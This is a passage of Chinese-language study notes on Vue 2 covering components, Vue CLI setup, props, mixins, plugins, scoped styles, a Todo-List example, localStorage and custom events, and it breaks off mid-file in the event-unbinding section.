  • School.vue
<template>
  <div class="demo">
    <!-- 组件的结构 -->
    <h2>学校名称:{{schoolName}}</h2>
    <h2>学校地址:{{address}}</h2>
    <button @click="showName">点我提示学校名</button>
  </div>
</template>


<script>
    /* 
    模块化暴露方式有三种:
    一、export 分别暴露  
    二、export{school} 统一暴露   
    三、export default school 默认暴露   
    */
   /* 组件交互相关的代码:数据、方法等 */
   export default {
    name:'School',
    data(){
        return {
          schoolName:'清华大学',
          address:'北京'
        }
      },
      methods:{
        showName(){
          alert(this.schoolName)
        }
      }
   }

</script>

<style>
   /* 组件的样式 */
   .demo {
    background-color: orange;
   }
</style>
  • Student.vue
<template>
    <div>
        <h2>学生姓名:{{name}}</h2>
        <h2>学生年龄:{{age}}</h2>
        <button @click="showName">点我提示学生姓名</button>
    </div>
</template>
<script>
export default {
    name:'Student',
    data(){
        return {
        name:'唔西迪西',
        age:18,
        }
    },
    methods:{
        showName(){
            alert(this.name)
        }
    }
}
</script>
  •  App.vue(汇总所有的组件)
<template>
  <div>
    <school></school>
    <student></student>
  </div>
</template>

<script>
    //引入组件
    import School from './School.vue';
    import Student from './Student.vue';
    export default {
        name:'App',
        components:{
            School,
            Student
        }
    }
</script>

<style>

</style>
  • main.js
import App from './App.vue'
new Vue({
    el:'#root',
    template:`<App></App>`,
    components:{
        App
    }
})
  • index.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>练习一下单文件组件的语法</title>
</head>
<body>
    <!-- 准备一个容器 -->
    <div id="root"></div>
    <script type="text/javascript" src="../js/vue.js"></script>
    <script type="text/javascript" src="./main.js"></script>
  
</body>
</html>

五、使用Vue CLI脚手架

1、初始化脚手架

1.1 说明

   ① Vue脚手架是Vue官方提供的标准化开发工具(开发平台)

   ② 脚手架的最新版本是4.x

   ③ Vue CLI

1.2 具体步骤

 ① 第一步:(仅第一次执行)全局安装@vue/cli

npm install -g @vue/cli

 ② 第二步:切换到你要创建项目的目录,然后使用命令创建项目,选择使用Vue的版本

vue create xxxx

效果:

 

 

 ③ 第三步:启动项目

npm run serve

效果:

 

④ 暂停项目:Ctrl+C

效果:

备注:

 1、如果下载缓慢请配置npm淘宝镜像:

npm config set registry https://registry.npm.taobao.org

2、Vue脚手架隐藏了所有的webpack配置,若想查看具体的webpack配置,请执行:

          vue inspect > output.js

1.3 分析脚手架结构

脚手架文件结构:

.文件目录
├── node_modules 
├── public
│   ├── favicon.ico: 页签图标
│   └── index.html: 主页面
├── src
│   ├── assets: 存放静态资源
│   │   └── logo.png
│   │── component: 存放组件
│   │   └── HelloWorld.vue
│   │── App.vue: 汇总所有组件
│   └── main.js: 入口文件
├── .gitignore: git版本管制忽略的配置
├── babel.config.js: babel的配置文件
├── package.json: 应用包配置文件 
├── README.md: 应用描述文件
└── package-lock.json: 包版本控制文件
  •  src/components/School.vue
<template>
  <div class="demo">
    <!-- 组件的结构 -->
    <h2>学校名称:{{schoolName}}</h2>
    <h2>学校地址:{{address}}</h2>
    <button @click="showName">点我提示学校名</button>
  </div>
</template>


<script>
   export default {
    name:'school',
    data(){
        return {
          schoolName:'清华大学',
          address:'北京'
        }
      },
      methods:{
        showName(){
          alert(this.schoolName)
        }
      }
   }

</script>

<style>
   /* 组件的样式 */
   .demo {
    background-color: orange;
   }
</style>
  •  src/components/Student.vue
<template>
    <div>
        <h2>学生姓名:{{name}}</h2>
        <h2>学生年龄:{{age}}</h2>
        <button @click="showName">点我提示学生姓名</button>
    </div>
</template>
<script>
export default {
    name:'Student',
    data(){
        return {
        name:'唔西迪西',
        age:18,
        }
    },
    methods:{
        showName(){
            alert(this.name)
        }
    }
}
</script>
  •  src/App.vue
<template>
  <div>
    <img src="./assets/logo.png" alt="logo">
    <school></school>
    <student></student>
  </div>
</template>

<script>
    //引入组件
    import School from './components/School';
    import Student from './components/Student';
    export default {
        name:'App',
        components:{
            School,
            Student
        }
    }
</script>
  • main.js
    /* 
    该文件是整个项目的入口文件 
    */
    
    //引入Vue
    import Vue from 'vue'
    //引入App组件,它是所有组件的父组件
    import App from './App.vue'
    //关闭Vue的生产提示
    Vue.config.productionTip = false
    
    //创建Vue实例对象--vm
    new Vue({
      //将APP组件放入容器中
      render: h => h(App),
    }).$mount('#app')
    
  •  public/index.html
<!DOCTYPE html>
<html lang="">
  <head>
    <meta charset="utf-8">
    <!-- 针对IE浏览器的一个特殊配置,含义是让IE浏览器以最高的渲染级别渲染页面 -->
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <!-- 开启移动端的理想视口 -->
    <meta name="viewport" content="width=device-width,initial-scale=1.0">
   <!--  配置页签图标 -->
    <link rel="icon" href="<%= BASE_URL %>favicon.ico">
    <!-- 配置网页标题 -->
    <title><%= htmlWebpackPlugin.options.title %></title>
  </head>
  <body>
    <!-- 当浏览器不支持js时,noscript标签中的元素就会被渲染 -->
    <noscript>
      <strong>We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't work properly without JavaScript enabled. Please enable it to continue.</strong>
    </noscript>
    <!-- 容器 -->
    <div id="app"></div>
    <!-- built files will be auto injected -->
  </body>
</html>
  •  vue.config.js

注意:需要将组件name配置项改成驼峰命名法或者双单词衔接命名,或者进行以下操作,不然系统会报错。

const { defineConfig } = require('@vue/cli-service')
module.exports = defineConfig({
  transpileDependencies: true,
  lintOnSave:false   //关闭语法检查
})
  • 打开调试控制台,输入:npm run serve

最终网页呈现效果:

1.4 render函数

import Vue from 'vue'
import App from './App.vue'

Vue.config.productionTip = false

new Vue({
    el:'#app',
    // 简写形式
	render: h => h(App),
    // 完整形式
	// render(createElement){
	//     return createElement(App)
	// }
})

总结:

关于不同版本的函数:

1、vue.js与vue.runtime.xxx.js的区别:

     ① vue.js是完整版的Vue,包含:核心功能+模板解析器。

     ② vue.runtime.xxx.js是运行版的Vue,只包含核心功能,没有模板解析器。

2、因为vue.runtime.xxx.js没有模板解析器,所以不能使用template配置项,需要使用render函数接收到的createElement函数去指定具体内容。

1.5 修改默认配置

vue.config.js只要一修改,就需要重新在终端进行:npm run serve操作。

  • vue.config.js是一个可选的配置文件,如果项目的(和package.json同级的)根目录中存在这个文件,那么它会被@vue/cli-service自动加载。
  • 使用vue.config.js可以对脚手架进行个性化定制,详见配置参考|Vue CLI

module.exports = {
    pages: {
        index: {
            // 入口
            entry: 'src/index/main.js'
        }
    },
  // 关闭语法检查
  lineOnSave:false
}

2、ref属性

① 被用来给元素或子组件注册引用信息(id的替代者)

② 应用在html标签上获取的是真实DOM元素,应用在组件标签上获取的是组件实例对象(vc)

③ 使用方式:

  •      打标识:<h1 ref="xxx"></h1> 或 <School ref="xxx"></School>
  •      获取:this.$refs.xxx
  • App.vue
    <template>
      <div>
        <h1 v-text="msg" ref="title"></h1>
        <button @click="showDOM" ref="btn">点我输出上方的DOM元素</button>
        <School ref="sch"/>
      </div>
    </template>
    
    <script>
        //汇总所有的组件(引入School组件)
        import School from './components/School.vue'
    export default {
        name:'App',
        components:{School},
        data(){
            return {
                msg:'欢迎光临~'
            }
        },
        methods:{
            showDOM(){
                console.log(this.$refs.title)//真实DOM元素
                console.log(this.$refs.btn)  //真实DOM元素
                console.log(this.$refs.sch)   //school组件的实例对象(vc)
            }
        }
    
    }
    </script>
    
    <style>
    
    </style>

     效果:

3、props配置项

(1) 功能:让组件接收外部传来的数据

 ① 传递数据:<Demo name="xxx"/>

 ② 接收数据:

  •  第一种方式(只接收):
props:['name']
  •  第二种方式(限制类型):
props:{name:String}
  •  第三种方式(限制类型、限制必要性、指定默认值):
props: {
    name:{
        type:String,      //类型
        required:true,    //必要性
        default:‘老王’    //默认值
         }
       }

 备注:props是只读的,Vue底层会监测你对props的修改,如果进行了修改,就会发出警告,若业务需求确实需要修改,那么请复制props的内容到data中一份,然后去修改data中的数据。

  • src/components/Student.vue
<template>
  <div>
    <h1>{{msg}}</h1>
    <h2>学生姓名:{{studentName}}</h2>
    <h2>性别:{{sex}}</h2>
    <h2>年龄:{{myAge+1}}</h2>
    <button @click="updateAge">尝试修改收到的年龄</button>
  </div>
</template>

<script>
export default {
    name:'Student',
    data(){
        return {
            msg:'晚安',
            myAge:this.age
        }
    },
    methods:{
      updateAge(){
        this.myAge++
      }
    },
    //简单声明接收
    //props接收到的数据不可以改
    // props:['studentName','sex','age']  

    //接收的同时对数据进行类型限制
   /*  props:{
      studentName:String,
      sex:String,
      age:Number
    } */

    //接收的同时对数据进行类型限制+指定默认值+必要性的限制
    props:{
       studentName:{
        type:String,     //studentName的类型是字符串
        required:true    //studentName是必要的
       },
       age:{
        type:Number,
        default:99  //默认值   required 和deafault不会同时出现
       },
       sex:{
        type:String,
        required:true
       }

    }
}
</script>

  • src/App.vue
<template>
<div>
    <!-- v-bind:里面装表达式  -->
    <Student studentName="玛卡巴卡" sex="男" :age="18"/>
</div>
</template>

<script>
//汇总所有的组件(引入School组件)
import Student from './components/Student.vue'
export default {
    name:'App',
    components:{ Student }
}
</script>

 效果:

4、mixin混入

(1)功能:可以把多个组件共用的配置提取成一个混入对象

(2)使用方式:

  ① 定义混入:

const mixin = {
    data(){....},
    methods:{....}
    ....
}

  ② 使用混入:

  • 全局混入:Vue.mixin(xxx)
  • 局部混入:mixins:['xxx']

(3)备注:

① 组件和混入对象含有同名选项时,这些选项将以恰当的方式进行“合并”,在发生冲突时以组件优先。

var mixin = {
	data: function () {
		return {
    		message: 'hello',
            foo: 'abc'
    	}
  	}
}

new Vue({
  	mixins: [mixin],
  	data () {
    	return {
      		message: 'goodbye',
            bar: 'def'
    	}
    },
  	created () {
    	console.log(this.$data)
    	// => { message: "goodbye", foo: "abc", bar: "def" }
  	}
})

② 同名生命周期钩子将合并为一个数组,因此都将被调用。另外,混入对象的钩子将在组件自身钩子之前调用。

var mixin = {
  	created () {
    	console.log('混入对象的钩子被调用')
  	}
}

new Vue({
  	mixins: [mixin],
  	created () {
    	console.log('组件钩子被调用')
  	}
})

// => "混入对象的钩子被调用"
// => "组件钩子被调用"

4.1 局部混入

  • src/mixin.js
export const hunhe = {
    methods:{
        showName(){
            alert(this.name)
        }
    },
    mounted() {
        console.log('你好啊~~~')
    },
}

  •  src/components/School.vue
<template>
    <div>
      <h2 @click="showName">学校姓名:{{name}}</h2>
      <h2>学生地址:{{address}}</h2>
    </div>
  </template>
  
  <script>
    //引入一个混合
    import {hunhe} from '../mixin'
    export default {
      name:'School',
      data(){
          return {
              name:'北京大学',
              address:'北京'
          }
      },
      mixins:[hunhe],
      mounted(){
        console.log('你好啊!!!!')
      }
  }
  </script>
  
  <style>
  
  </style>
  • src/components/Student.vue
<template>
  <div>
    <h2 @click="showName">学生姓名:{{name}}</h2>
    <h2>学生性别:{{sex}}</h2>
  </div>
</template>

<script>
  //引入一个混合
  import {hunhe} from '../mixin' 
  export default {
    name:'Student',
    data(){
        return {
            name:'玛卡巴卡',
            sex:'男'
        }
    },
    mixins:[hunhe]
}
</script>

<style>

</style>
  •  App.vue
<template>
    <div>
        <!-- v-bind:里面装表达式  -->
        <School/>
        <hr/>
        <Student/> 
    </div>
    </template>
    
    <script>
    //汇总所有的组件(引入School组件)
    import Student from './components/Student.vue'
    import School from './components/School.vue'
    export default {
        name:'App',
        components:{ Student,School
         }
    }
    </script>
    

效果:

4.2 全局混入

  • src/mixin.js
export const hunhe = {
    methods:{
        showName(){
            alert(this.name)
        }
    },
    mounted() {
        console.log('你好啊~~~')
    },
}

  •  src/main.js
//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//全局混入
import {hunhe}  from './mixin'

//关闭Vue的生产提示
Vue.config.productionTip = false

Vue.mixin(hunhe)



//创建vm
new Vue({
    el:'#app',
    render : h => h(App)
})

 效果:

5、plugin插件

(1)功能:用于增强Vue

(2)本质:包含install方法的一个对象,install的第一个参数是Vue,第二个以后的参数是插件使用者传递的数据

(3)定义插件

plugin.install = function (Vue, options) {
        // 1. 添加全局过滤器
        Vue.filter(....)
    
        // 2. 添加全局指令
        Vue.directive(....)
    
        // 3. 配置全局混入
        Vue.mixin(....)
    
        // 4. 添加实例方法
        Vue.prototype.$myMethod = function () {...}
        Vue.prototype.$myProperty = xxxx
    }

 (4)使用插件:Vue.use(plugin)

  • src/plugin.js
import Vue from "vue"

export default {
    install(Vue){
        //全局过滤器
        Vue.filter('mySlice',function(value){
            return value.slice(0,4)
        })


        //定义全局指令
        Vue.directive('fbind',{
        //指令与元素成功绑定时(一上来)
        bind(element,binding){
            element.value = binding.value
        },
        //指令所在元素被插入页面时
        inserted(element,binding){
        element.focus()
        },
        //指令所在模板被重新解析时
        update(){
            element.vaule = binding.value
        }
        })

        //定义混入
        Vue.mixin({
            data(){
                return {
                    x:100,
                    y:200
                }
            }
        })

        //给Vue原型上添加一个方法(vm和vc就都能用了)
        Vue.prototype.hello = ()=> {alert('晚安啊~')}
    }

        
}
  • src/main.js
//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//引入插件
import plugin from './plugin'
//关闭Vue的生产提示
Vue.config.productionTip = false

//应用(使用)插件
Vue.use(plugin)

//创建vm
new Vue({
    el:'#app',
    render : h => h(App)
})
  • src/School.vue
<template>
    <div>
      <h2>学校姓名:{{name | mySlice}}</h2>
      <h2>学生地址:{{address}}</h2>
      <button @click="test">点我测试一下hello方法</button>
    </div>
  </template>
  
  <script>
       export default {
      name:'School',
      data(){
          return {
              name:'北京大学哈嘿哈',
              address:'北京'
          }
      },
      methods:{
        test(){
          this.hello()
        }
      }
  }
  </script>
  
  <style>
  
  </style>
  • src/Student.vue
<template>
  <div>
    <h2 >学生姓名:{{name}}</h2>
    <h2>学生性别:{{sex}}</h2>
    <input type="text" v-fbind:value="name">
  </div>
</template>

<script>
  export default {
    name:'Student',
    data(){
        return {
            name:'玛卡巴卡',
            sex:'男'
        }
    },
   }
</script>

<style>

</style>

 效果:

6、scoped样式

① 作用:让样式在局部生效,防止冲突

② 写法:<style scoped>

scoped样式一般不会在App.vue中使用

  • src/components/School.vue
<template>
    <div class="demo">
      <h2>学校姓名:{{name}}</h2>
      <h2>学生地址:{{address}}</h2>
    </div>
  </template>
  
  <script>
       export default {
      name:'School',
      data(){
          return {
              name:'北京大学',
              address:'北京'
          }
      },
  }
  </script>
  
  <style scoped>
  .demo {
    background-color:skyblue
  }
  </style>

  • src/conponents/Student.vue
<template>
  <div class="demo">
    <h2 >学生姓名:{{name}}</h2>
    <h2>学生性别:{{sex}}</h2>
  </div>
</template>

<script>
  export default {
    name:'Student',
    data(){
        return {
            name:'玛卡巴卡',
            sex:'男'
        }
    },
   }
</script>

<style scoped>
.demo {
background-color:gray
}
</style>
  • src/App.vue
<template>
    <div class="demo">
      <h2>学校姓名:{{name}}</h2>
      <h2>学生地址:{{address}}</h2>
    </div>
  </template>
  
  <script>
       export default {
      name:'School',
      data(){
          return {
              name:'北京大学',
              address:'北京'
          }
      },
  }
  </script>
  
  <style scoped>
  .demo {
    background-color:skyblue
  }
  </style>

效果:

7、Todo-List案例

一、组件化编码流程(通用)

① 实现静态组件:抽取组件,使用组件实现静态页面效果

② 展示动态数据:考虑好数据的存放位置,数据是一个组件再用,还是一些组件在用:

一个组件再用:放在组件自身即可。

一些组件再用:放在他们共同的父组件上(状态提升

③ 实现交互:从绑定事件开始。

二、props适用于:

① 父组件 ==> 子组件通信

② 子组件 ==> 父组件 通信(要求父先给子一个函数)

三、使用v-model要切记:

v-model绑定的值不能说props传过来的值,因为props是不可以修改的!

props传过来的若是对象类型的值,修改对象中的属性时Vue不会报错,但不推荐这样做。

  •  src/main.js
//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//关闭Vue的生产提示
Vue.config.productionTip = false


//创建vm
new Vue({
    el:'#app',
    render : h => h(App)
})
  • src/App.vue
    <template>
        <div id="root">
            <div class="todo-container">
                <div class="todo-wrap">
                    <MyHeader :addTodo="addTodo"/>
                    <MyList :todos="todos" :checkTodo="checkTodo" :deleteTodo="deleteTodo"/>
                    <MyFooter :todos="todos" :checkAllTodo='checkAllTodo' :clearAllTodo='clearAllTodo'/>
                </div>
            </div>
        </div>
    </template>
    
    <script>
    //汇总所有的组件(
    import MyHeader from './components/MyHeader.vue'
    import MyList from './components/MyList.vue'
    import MyFooter from './components/MyFooter.vue'
    
    export default {
        name: 'App',
        components: { MyHeader,MyList,MyFooter},
        data(){
            return {
                todos:[
                    {id:'0001', title:'吃饭', done:true},
                    {id:'0002', title:'睡觉', done:false},
                    {id:'0003', title:'打豆豆', done:true}
                ]
            }
        },
        methods:{
            //添加一个todo
            addTodo(todoObj){
                this.todos.unshift(todoObj)
            },
            //勾选or取消选择一个todo
            checkTodo(id){
                this.todos.forEach((todo)=> {
                    if(todo.id == id) todo.done = !todo.done
                })
            },
    
            //删除一个todo
            deleteTodo(id){
            //因为filter不改变原有数组,所以重新过滤后赋值,产生新的数组
              this.todos = this.todos.filter((todo) => {
                 return todo.id !== id
              })    
            },
    
            //全选or取消全选
            checkAllTodo(done){
              this.todos.forEach((todo)=> {
                todo.done = done
              })
            },
    
            //清除所有已完成的todo
            clearAllTodo(){
                this.todos = this.todos.filter((todo)=>{
                    return !todo.done
                })
            }
    
        }
    
    }
    </script>
    
    <style>
        /*base*/
        body {
            background: #fff;
        }
    
        .btn {
            display: inline-block;
            padding: 4px 12px;
            margin-bottom: 0;
            font-size: 14px;
            line-height: 20px;
            text-align: center;
            vertical-align: middle;
            cursor: pointer;
            box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
            border-radius: 4px;
        }
    
        .btn-danger {
            color: #fff;
            background-color: #da4f49;
            border: 1px solid #bd362f;
        }
    
        .btn-danger:hover {
            color: #fff;
            background-color: #bd362f;
        }
    
        .btn:focus {
            outline: none;
        }
    
        .todo-container {
            width: 600px;
            margin: 0 auto;
        }
    
        .todo-container .todo-wrap {
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 5px;
        }
    </style>
  • src/components/MyHeader.vue
<template>
    <div class="todo-header">
        <input type="text" placeholder="请输入你的任务名称,按回车键确认" v-model="title" @keyup.enter='add'/>
    </div>
</template>

<script>
import {nanoid} from "nanoid"
export default {
    name: 'MyHeader',
    props:['addTodo'],
    data(){
        return {
            title:''
        }
    },
    methods:{
        add(){
          //校验数据
          if(!this.title.trim()) return alert('输入不能为空')
          //将用户的输入包装成一个todo对象
          const todoObj = {id:nanoid(),title:this.title,done:false}
          //通知App组件添加一个todo对象
          this.addTodo(todoObj)
          //清空输入
          this.title =''
        }
    }
 


}
</script>

<style scoped>
    /*header*/
    .todo-header input {
        width: 560px;
        height: 28px;
        font-size: 14px;
        border: 1px solid #ccc;
        border-radius: 4px;
        padding: 4px 7px;
    }

    .todo-header input:focus {
        outline: none;
        border-color: rgba(82, 168, 236, 0.8);
        box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);
    }
</style>
  • src/components/MyList.vue
<template>
    <ul class="todo-main">
        <MyItem 
        v-for="todoObj in todos"
        :key="todoObj.id" 
        :todo='todoObj'
        :checkTodo = 'checkTodo'
        :deleteTodo="deleteTodo"
        />
    </ul>
</template>

<script>
import MyItem from './MyItem.vue'


export default {
    name: 'MyList',
    components: { MyItem },
    props:['todos','checkTodo','deleteTodo']
}
</script>

<style scoped>
/*main*/
.todo-main {
    margin-left: 0px;
    border: 1px solid #ddd;
    border-radius: 2px;
    padding: 0px;
}

.todo-empty {
    height: 40px;
    line-height: 40px;
    border: 1px solid #ddd;
    border-radius: 2px;
    padding-left: 5px;
    margin-top: 10px;
}
</style>
  • src/components/MyItem.vue
<template>
    <li>
        <label>
            <input type="checkbox" :checked='todo.done' @click='handleCheck(todo.id)'/>
            <span>{{todo.title}}</span>
        </label>
        <button class="btn btn-danger" @click="handleDelete(todo.id,todo.title )">删除</button>
    </li>
</template>

<script>
export default {
    name: 'MyItem',
    props:['todo','checkTodo','deleteTodo'],
    methods:{
        handleCheck(id){
          //勾选or取消勾选n
          //通知App组件将对应的todo对象的done值取反
          this.checkTodo(id)
        },
        handleDelete(id,title){
         if(confirm("确认删除任务"+title+"吗?")){
            this.deleteTodo(id)
         }
       
        }
    }
}
</script>

<style scoped>
/*item*/
li {
    list-style: none;
    height: 36px;
    line-height: 36px;
    padding: 0 5px;
    border-bottom: 1px solid #ddd;
}

li label {
    float: left;
    cursor: pointer;
}

li label li input {
    vertical-align: middle;
    margin-right: 6px;
    position: relative;
    top: -1px;
}

li button {
    float: right;
    display: none;
    margin-top: 3px;
}

li:before {
    content: initial;
}

li:last-child {
    border-bottom: none;
}

li:hover button{
    display:block;
}
</style>
  • src/components/Footer.vue
<template>
    <div class="todo-footer" v-show="total">
        <label>
            <input type="checkbox" v-model="isAll"/>
        </label>
        <span>
            <span>已完成{{doneTotal}}</span> / 全部{{total}}
        </span>
        <button class="btn btn-danger" @click="clearAll">清除已完成任务</button>
    </div>
</template>

<script>
    export default {
        name:'MyFooter',
        props:['todos','checkAllTodo','clearAllTodo'],
        computed:{
            doneTotal(){
                return this.todos.reduce((pre,todo)=> pre + (todo.done ? 1 : 0) ,0)
            },
            total(){
                return this.todos.length
            },
            isAll:{
                get(){
                    return this.total === this.doneTotal && this.total > 0
                },
                set(value){
                    this.checkAllTodo(value)
                }
            }
        },
        methods:{
            clearAll(){
                this.clearAllTodo()
            }
        }
    }
</script>

<style scoped>
    .todo-footer {
        height: 40px;
        line-height: 40px;
        padding-left: 6px;
        margin-top: 5px;
        }

    .todo-footer label {
        display: inline-block;
        margin-right: 20px;
        cursor: pointer;
    }

    .todo-footer label input {
        position: relative;
        top: -1px;
        vertical-align: middle;
        margin-right: 5px;
    }

    .todo-footer button {
        float: right;
        margin-top: 5px;
    }
</style>

8、WebStorage(面试必问)

8.1 总结

(1)存储内容大小一般支持5MB左右(不同浏览器可能还不一样)

(2)浏览器端通过Window.sessionStorage和Window.localStorage属性来实现本地存储机制。

(3)相关API:

         ① xxxxxxxStorage.setItem(‘key’,‘value’);

               该方法接受一个键和值作为参数,会把键值对添加到存储中,如果键名存在,则更新其对应的值。

         ② xxxxxxxStorage.getItem(‘person’);

               该方法接受一个键名作为参数,返回键名对应的值。

         ③ xxxxxxxStorage.removeItem(‘key’);

               该方法接受一个键名作为参数,并把键名从存储中删除。

         ④ xxxxxxxStorage.clear;

                该方法会清空存储中的所有数据。

(4)备注:

         ① SessionStorage存储的内容会随着浏览器窗口关闭而消失。

         ② LocalStorage存储的内容,需要手动清除才会消失。

         ③ xxxxxxStorage.getItem(xxx)如果xxx对应的value获取不到,那么getItem的返回值是null。

         ④ JSON.parse(null)的结果依然是null

8.2 使用本地存储优化Todo-List:

src/App.vue

<template>
    <div id="root">
        <div class="todo-container">
            <div class="todo-wrap">
                <MyHeader :addTodo="addTodo"/>
                <MyList :todos="todos" :checkTodo="checkTodo" :deleteTodo="deleteTodo"/>
                <MyFooter :todos="todos" :checkAllTodo='checkAllTodo' :clearAllTodo='clearAllTodo'/>
            </div>
        </div>
    </div>
</template>

<script>
//汇总所有的组件(
import MyHeader from './components/MyHeader.vue'
import MyList from './components/MyList.vue'
import MyFooter from './components/MyFooter.vue'

export default {
    name: 'App',
    components: { MyHeader,MyList,MyFooter},
    data(){
        return {
             //若localStorage中存有‘todos’,则从localStorage中取出,否则初始为空数组
            todos:JSON.parse(localStorage.getItem('todos')) || []
        }
    },
    methods:{
        //添加一个todo
        addTodo(todoObj){
            this.todos.unshift(todoObj)
        },
        //勾选or取消选择一个todo
        checkTodo(id){
            this.todos.forEach((todo)=> {
                if(todo.id == id) todo.done = !todo.done
            })
        },

        //删除一个todo
        deleteTodo(id){
        //因为filter不改变原有数组,所以重新过滤后赋值,产生新的数组
          this.todos = this.todos.filter((todo) => {
             return todo.id !== id
          })    
        },

        //全选or取消全选
        checkAllTodo(done){
          this.todos.forEach((todo)=> {
            todo.done = done
          })
        },

        //清除所有已完成的todo
        clearAllTodo(){
            this.todos = this.todos.filter((todo)=>{
                return !todo.done
            })
        }

    },
    watch:{
        todos:{
            deep:true,
            handler(value){
                //由于todo是对象数组,所以必须开启深度监视才能发现数组中对象的变化
                localStorage.setItem('todos',JSON.stringify(value))
            }
        }
    }

}
</script>

<style>
    /*base*/
    body {
        background: #fff;
    }

    .btn {
        display: inline-block;
        padding: 4px 12px;
        margin-bottom: 0;
        font-size: 14px;
        line-height: 20px;
        text-align: center;
        vertical-align: middle;
        cursor: pointer;
        box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
        border-radius: 4px;
    }

    .btn-danger {
        color: #fff;
        background-color: #da4f49;
        border: 1px solid #bd362f;
    }

    .btn-danger:hover {
        color: #fff;
        background-color: #bd362f;
    }

    .btn:focus {
        outline: none;
    }

    .todo-container {
        width: 600px;
        margin: 0 auto;
    }

    .todo-container .todo-wrap {
        padding: 10px;
        border: 1px solid #ddd;
        border-radius: 5px;
    }
</style>

9、自定义事件

1、一种组件间通信的方式,适用于:==子组件 > 父组件

2、使用场景:A是父组件,B是子组件,B想给A传递数据,那么就要在A中给B绑定自定义事件(事件的回调在A中)

3、绑定自定义事件:

    ① 第一种方式:在父组件中:<Demo @xixi="test"/>或<Demo v-on=xixi="test"/>

   ② 第二种方式,在父组件中:

<Demo ref="demo"/>
...
mounted(){
    this.$refs.demo.$on('xixi',data)
}

   ③ 若想让自定义事件只能触发一次,可以使用once修饰符,或$once方法。

4、触发自定义事件:this.$emit(‘xixi’,数据)

5、解绑自定义事件:this.$off(‘xixi’)

6、组件上也可以绑定原生DOM事件,需要使用native修改符

7、注意:通过this.$refs.xxx.$on(‘xixi’,回调)绑定自定义事件时,回调要么配置在methods中,要么用箭头函数,否则this指向会出问题!

9.1 绑定

  • src/App.vue
<template>
    <div class="app">
        <h1>{{msg}}</h1>
        <!-- 通过父组件给子组件传递函数类型的props:子给父传递数据 -->
        <School :getSchoolName='getSchoolName'/>

        <!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(第一种写法:使用@或v-on) -->
        <!-- 给Student的实例对象vc身上绑定了一个xixi事件,只要事件被触发,getStudentName就会被调用 -->
        <!-- <Student v-on:xixi="getStudentName"/>  -->

         <!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(第二种写法:使用ref) -->
        <Student ref="student"/>
    </div>
    </template>
    
    <script>
    //汇总所有的组件(引入School组件)
    import School from './components/School.vue'
    import Student from './components/Student.vue'
   
    export default {
        name:'App',
        components:{School,Student},
        data(){
            return {
                msg:'你好啊~~~~'
            }
        },
        methods:{
            getSchoolName(name){
                console.log('App收到了学校名:',name);
            },
            getStudentName(name,...params){
                console.log('App收到了学生名:',name,params);
            }
        },
        mounted(){
            // this.$refs.student.$once('xixi',this.getStudentName)
            this.$refs.student.$on('xixi',this.getStudentName)
       
        }
    }
    </script>

    <style scoped>
        .app {
            background-color: gray;
            padding:5px;
        }
    </style>
    
  • src/componets/School.vue
<template>
    <div class="school">
      <h2>学校姓名:{{name}}</h2>
      <h2>学生地址:{{address}}</h2>
      <button @click="sendSchoolName">把学校名称给App</button>
    </div>
  </template>
  
  <script>
       export default {
      name:'School',
      props:['getSchoolName'],
      data(){
          return {
              name:'北京大学',
              address:'北京'
          }
      },
      methods:{
        sendSchoolName(){
          this.getSchoolName(this.name)
        }
      }
  }
  </script>
  
  <style scoped>
  .school {
    background-color:skyblue;
    padding:5px;
  }
  </style>
  • src/componets/Student.vue
<template>
  <div class="student">
    <h2 >学生姓名:{{name}}</h2>
    <h2>学生性别:{{sex}}</h2>
    <button @click="sendStudentName">把学生姓名给App</button>
  </div>
</template>

<script>
  export default {
    name:'Student',
    data(){
        return {
            name:'玛卡巴卡',
            sex:'男'
        }
    },
    methods:{
      sendStudentName(){
        //触发Student组件实例身上的xixi事件
        this.$emit('xixi',this.name,666,888,999)
      }
    }

   }
</script>

<style lang="less" scoped>
   .student{
    background-color: pink;
    padding:5px;
    margin-top: 30px;
   }
</style>

效果:

9.2 解绑

src/App.vue

<template>
    <div class="app">
        <h1>{{msg}}</h1>
        <!-- 通过父组件给子组件传递函数类型的props:子给父传递数据 -->
        <School :getSchoolName='getSchoolName'/>

        <!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(第一种写法:使用@或v-on) -->
        <!-- 给Student的实例对象vc身上绑定了一个xixi事件,只要事件被触发,getStudentName就会被调用 -->
        <!-- <Student v-on:xixi="getStudentName"/>  -->
        <Student @xixi='getStudentName' @demo='m1'/>

         <!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(第二种写法:使用ref) -->
        <!-- <Student ref="student"/> -->
    </div>
    </template>
    
    <script>
    //汇总所有的组件(引入School组件)
    import School from './components/School.vue'
    import Student from './components/Student.vue'
   
    export default {
        name:'App',
        components:{School,Student},
        data(){
            return {
                msg:'你好啊~~~~'
            }
        },
        methods:{
            getSchoolName(name){
                console.log('App收到了学校名:',name);
            },
            getStudentName(name,...params){
                console.log('App收到了学生名:',name,params);
            },
            m1(){
                console.log('demo事件被触发了!');
            }
        },
        // mounted(){
        //     this.$refs.student.$once('xixi',this.getStudentName)
        //     this.$refs.student.$on('xixi',this.getStudentName)
       
        // }
    }
    </script>

    <style scoped>
        .app {
            background-color: gray;
            padding:5px;
        }
    </style>
    
  •  src/components/Student.vue
<template>
  <div class="student">
    <h2 >学生姓名:{{name}}</h2>
    <h2>学生性别:{{sex}}</h2>
    <h2>当前求和为:{{number}}</h2>
    <button @click="add">点我number++</button>
    <button @click="sendStudentName">把学生姓名给App</button>
    <button @click="unbind">解绑xixi事件</button>
